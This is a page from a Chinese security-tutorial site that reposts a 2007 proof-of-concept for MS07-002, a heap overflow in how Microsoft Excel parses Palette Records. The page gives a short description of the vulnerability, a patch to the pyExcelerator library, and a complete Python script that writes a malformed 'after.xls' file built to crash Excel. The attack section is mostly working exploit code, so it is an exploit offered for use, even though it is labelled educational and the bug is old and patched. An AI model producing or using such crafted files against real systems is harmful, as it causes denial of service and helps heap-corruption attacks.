• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)

Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Microsoft Excel Malformed Palette Record DoS PoC (MS07-002) ,其中包含malformed,malformed是什么意思,malformed packet,uri malformed,malformed url等知识点,遇到此问题的同学们可以参考下
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data = 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")


def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read()
f.close()

#write to malformed xls file
f = open( "after.xls", "wb")

PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

palette_idx = str.find( PaletteRecord)

if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)

str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()

if __name__ == "__main__":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()

//http://www.leftworld.net
</div>

您可能想查找下面的文章:

  • Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)
  • MS Windows (.doc File) Malformed Pointers Denial of Service Exploit

相关文章

  • CodeDB (list.php lang) Local File Inclusion Vulnerability
  • BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability
  • pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
  • HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities
  • The Personal FTP Server 6.0f RETR Denial of Service Exploit
  • Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
  • Dana IRC 1.4a Remote Buffer Overflow Exploit
  • Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)
  • Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit
  • Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
    • IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit
    • CodeDB (list.php lang) Local File Inclusion Vulnerability
    • AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit
    • FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)
    • Maian Greetings 2.1 Insecure Cookie Handling Vulnerability
    • Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit
    • phpDatingClub (website.php page) Local File Inclusion Vulnerability
    • Sagem Routers F@ST Remote CSRF Exploit (dhcp hostname attack)
    • Comdev Web Blogger

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有